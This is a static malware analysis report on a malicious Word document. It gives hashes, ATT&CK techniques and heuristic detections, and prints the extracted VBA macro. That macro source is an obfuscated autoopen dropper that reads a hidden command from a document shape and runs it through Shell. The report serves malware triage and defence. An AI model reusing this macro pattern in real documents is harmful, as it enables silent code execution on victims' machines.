Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0029192b66856ab4…

MALICIOUS

Office (OLE)

85.9 KB Created: 2018-12-07 12:06:00 Authoring application: Microsoft Office Word First seen: 2019-02-26
MD5: 482acb19099555abdfffc20724a373b5 SHA-1: 57177a3123953a4e2ac4287409e198901a022ca0 SHA-256: 0029192b66856ab4c67705c299c31178efd5ae6cfd5f9a17b2f4c5337a987069
292 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1203 Exploitation for Client Execution

The sample contains VBA macros that trigger an autoopen event, which in turn attempts to execute cmd.exe with obfuscated arguments. The presence of 'SC_STR_CMD' and 'OLE_VBA_SHELL' heuristics, along with the obfuscated command line in the document body, strongly suggests an attempt to download and execute a secondary payload. The VBA macro's obfuscation and the use of cmd.exe point towards a downloader or dropper functionality.

Heuristics 10

  • ClamAV: Doc.Malware.Generic-6775938-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6775938-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    .Shell(APpTWwrKjR, tMFvLjNPjk), BZboK)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6310 bytes
SHA-256: 520f4b98a1230ba076f03586cc6e31dcb3aca2af50fd89dd3e3f3a841882b087
Detection
ClamAV: No threats found
Obfuscation or payload: likely
160 of 197 identifiers look randomly generated (e.g. 'wIpnhrrJOwEnLcKbMjqXQGlz') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "XUJihQUO"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub autoopen()
wIbwdw
End Sub

Attribute VB_Name = "BGWvAkEM"
Function wIbwdw()
On Error Resume Next
         Set rJdqYtdrjjlVmFS = qJXOcOCikhzVwnFAPlB
      owuWqfJkUTpFbOuCfQicGuG = tItsakGAEZjtOBYwFSOQruu
      tDUwHYltqDcimQJkNoBBi = nishXojpAzOJzX / CLng(105719826) * 48074940 / Tan(300584609) + npDLZpKoIiDCtsEsPqGZ - Cos(7013728) + (324872615 / Int(ADcUcRlUFvVOozcF))
         Set NhOcpVucQjuRfQ = pASIihDQliqdwzASnRmCiMW
      MBLJDFAozDOzEcQTJQczzrw = PQGztOKcdavjVuNfiCjs
      COLATsSkZrVDitmwAujsm = ijkzPDwSzLFtMCvwaV / CLng(291324390) * 292341181 / Tan(30029180) + acnBahiHwzzjkfQVdOnGu - Cos(64133978) + (329347156 / Int(jkDBUNAtPvFHKOdPoqOFvd))
         Set JncYJjnksMZAONlkUJCFD = barNVaEPHfiTzqnCrujXndu
      BzFXNrhOjTLCjwNMfdE = RuNuwRRHZfDzfQLWUjCQwUm
      flWvjTrKZAJGlKbvZZpA = NWQkrrzaovzIhPLvW / CLng(178631225) * 40351418 / Tan(260605398) + YfGEkJFGqYfmRRPFKobsjlE - Cos(80900960) + (334105544 / Int(vPzDwiNVprKfHiu))
         Set JSYDYiAurPLQHEGNah = atoUHPNzBtjHpR
      zRhNmSGQYUhiwEMQKZLOdVzQ = LjwBHHWzJFofMvhUdPAZjR
      ocZhdDUdUQZajHOQMLjmzYk = idtzFzqHuoKYhaswobTPmUwN / CLng(94327949) * 336230086 / Tan(260785939) + zivPrcDzJVXWZSfv - Cos(322013388) + (279548601 / Int(mTnzXEVKJfjlGJcKQsujF))
         Set snqiroMUozSMYQn = aWJNtPtjhGDAUc
      LHITbOnHjzJGHIdzvH = hKhzPcuKAllLALcHF
      zLonPZPkJmYEGHsDv = iJtqhEmWwlIuiAYj / CLng(329049754) * 318317489 / Tan(182373383) + vHifTImwidTwQRdvWHijBta - Cos(194616941) + (181796097 / Int(HXfWJwcAPWbNXZSpr))
Set XSVPzvpMm = XUJihQUO.Shapes(vKnatGf + "SGlzIjjiTIJaj" + pHnZwZ).TextFrame
         Set XXNiSjKuEAFnWzlDo = DCPDzRUvSwGIhw
      MiCZVuXdoXwztrPjIXc = RDUZwOXRLnvSHMJUid
      HjZajATaDDSwlFiJJK = dHXGSBbdqjhuziEVnrco / CLng(165044709) * 188144355 / Tan(258341246) + OspKNcDAJGAMkZHZEW - Cos(196676970) + (303850690 / Int(IUTjkrRhWDATCsZMQQ))
         Set HkbGfEFZsCijXjVcvPJHSTP = XQwlDkPMkdpjuR
      czLFtVJcwUnZhnFZn = ZjOHUWHmRwtrmiiBjI
      OWjNoAQPLiZiEBO = iAVipwGDLiFiEujGzT / CLng(167527313) * 328046285 / Tan(299730024) + aHDGwEsUppXOwBLdQQ - Cos(109314748) + (189194959 / Int(FuiKQCShlcQaNZ))
APpTWwrKjR = XSVPzvpMm.ContainingRange + lrdrkOk + CwtwFYV + hMoGQQn + llSmDAs + qpzdjdn + csOwodz + aEmBr + DquvicK
         Set jtdQNSzAkvpmDAs = SzpBMGuIEZSLvdiVFV
      waBNXTVwsNuTbaTi = zFwZzVLozmFHQUhhoutRmShr
      CvJFrlbujYzZlwF = ZXhQrbsMmmfaRLfYFSzZCi / CLng(49308975) * 9865591 / Tan(194288994) + kviICwobMuAbQaCw - Cos(128960434) + (33679567 / Int(BcVtaTTBfnrQfmd))
         Set tbuElJGSzhMbBGvfTi = aJDKUlzZBhHWJGRziZuIuw
      wbHLYsqzPrwwMpQZSmjFlsL = VkHRFYawbPFiNZ
      hKhriNJEKNzbWKtIGQE = nlZuqRzVwjhMtLCuDAjpMf / CLng(321804269) * 22484262 / Tan(39769293) + DmhHzRIjnwknBNNnIafniLHz - Cos(33343247) + (40523906 / Int(PiHoWosNNnpkQEKXFJPwT))
         Set nMwAiKKXUnVcLpZTtSNaCB = iojIdUacLwXfmOmC
      JhRcTCumanEDHanlBULwBh = tKJdnKnEHQaQVk
      KmoWChWZEXkuluaDlciXR = YHbnizmjKRBSJZJf / CLng(200408211) * 139507267 / Tan(152155674) + FFDQCKjMpoqMRANhuPwZm - Cos(152545283) + (91848479 / Int(sSkBtGwJAjETDLlXR))
         Set NkKtcuXpBncBdGDpOmQm = hYMzsuFwQQAGsPkitHL
      zTjnlsBwADrrvDjMwvjASrk = bulqTKVfFrZNoZLzsG
      NYJKpjYjzXLdIjMLqHKfphMm = dTXYjkHLsWwSkv / CLng(49685033) * 307856936 / Tan(200966597) + HtORdbNUrhaJjMWGLQA - Cos(49183966) + (90251771 / Int(ERPNOsGLDkKJEspLpvLOsZ))
         Set UaYDjHjrFctNlQEzuqPiii = vjzjXSuEuYRzNhjkq
      mPGLZGSGFzGfmLqJdXjbL = KXwoTTrRNFZssOLjGqO
      MwzPmGHEEJBPZOEiN = nzPnkAFtSbzuQsNuLOZiB / CLng(86496961) * 79716978 / Tan(253441558) + EEJSiJcVVDOBYMwJ - Cos(297209214) + (262293952 / Int(GJsJCfCqIfkZndajwwao))
         Set vlTdRMkQoaLZKQWtkXlESwK = YaXqBXFwijkuDzfQrv
      MnKscmfzTPIczb = FqptORVNqbjcplrVMXwzjNiv
      WamjaGnSHupawj = raUQvJpLbtvEBdLrItosr / CLng(230862830) * 198040712 / Tan(103351491) + tJirCuNrKFJtRzujOK - Cos(273442277) + (204590942 / Int(lpvDjhJnuIwEvC))
         Set pwlcpcXQiTXsmLhiXNn = OzAprGQqLiUiavSEpTW
      sICdwSpjqhzHWbJpwwkiM = EzztSrsdoErBjGzWqZQhz
      hMIwlcGtinYLDCiFzwqN = sQUsDsbFLRfiaSmkTFPXvWD / CLng(188987305) * 156576237 / Tan(16621550) + rlZSqlkownGikinXVtddksU - Cos(212006906) + (292093500 / Int(qzWMsUAwkUlzpwpdpwN))
         Set jHTcviVjDmdJZaoIV = wninwniLDsijZocwNFVsBQDN
      ETiVqEzTqRojwJjzjbdwW = pjaNjmcvijUFuUAq
      nkNjXoPQwpvRoaPL = dzudVLquiEPqPMztOpNJdSs / CLng(77553690) * 318523415 / Tan(257245322) + hdtJEuCqCvjRZXookzajdzYa - Cos(238072012) + (16754533 / Int(OKFjhiOIQouLwM))
Const tMFvLjNPjk = 0
         Set uznNLfNmCwsaFVzwvGnMGw = PtzffkvzWsiAzCK
      cMomoLRSCDGQwOOjw = YTNAiBGwViaVzukoKzRJTDc
      cbifzIdvBHirEcinfqqj = hEMfJDPSoXUriYGXbzNEfTs / CLng(103517836) * 300050752 / Tan(239899355) + UiddNsmvXSzpFOcNkJAVE - Cos(158777295) + (102343731 / Int(qdiMNLwlZVuoKt))
wcjFbJIqD = Array(IGtOd, OZnkNahLV, QjToCq, Interaction _
.Shell(APpTWwrKjR, tMFvLjNPjk), BZboK)
         Set djOilvYtjlkQIaocjzTaV = XJCUlTCYjvvhoFMSrB
      imZBnTqhSzYBmNIIEcQKE = LEpUamiPNIRrqhwIPAumjaI
      JTfzIqarinbULSsEwCjQkuX = KwNPPRHkwvLGHlHXhaM / CLng(19378524) * 43277019 / Tan(194917554) + wIpnhrrJOwEnLcKbMjqXQGlz - Cos(89265509) + (309613116 / Int(iJiUUjAQHaiatEmz))
         Set PnwSuDklAUppVpzILEU = DrnjAAnhablVqdjTS
      XXYuVlCjtakVFzL = XXzQRtPCLZiTwr
      jqEhwqJWCiTHMzEV = JoGITCpdHVivCihBRDfARP / CLng(73423292) * 90136867 / Tan(7432017) + lwlDFHDwJJlBNoPDoVabzvmG - Cos(307633704) + (302618590 / Int(VVudsHWQrsEPbsGYXPQ))
         Set IkouAfSDHVJUwjkLI = mWHmKDzVijcqIjJaYfj
      kUYwCjMEUzZcOHvGHWalv = AlaQMaLWLFiXoRwIjdqu
      jHzcAoCTCEvoFU = XmTmtzmUwrTiIwmwuBcTib / CLng(263646254) * 77922982 / Tan(250061267) + CJAjiizLlwKEADu - Cos(251685683) + (7147821 / Int(hJtUPIAncAIvwHAkvdUOJ))
         Set pjnrETwoiIwwTu = mMSwswpCFYNMXTHDQWFfFSp
      GjYQwvKMPzjJjUUDzj = SrGYUWEicNPmUWzrJZYGK
      BzXjzXwBBfYlXcAK = tsMiwANPnjcLib / CLng(176928045) * 151430902 / Tan(27980359) + JBkYjlbMkNjzXqzVfNzfCz - Cos(66801400) + (133664834 / Int(qTpXEzOTmrJTVLbG))
End Function

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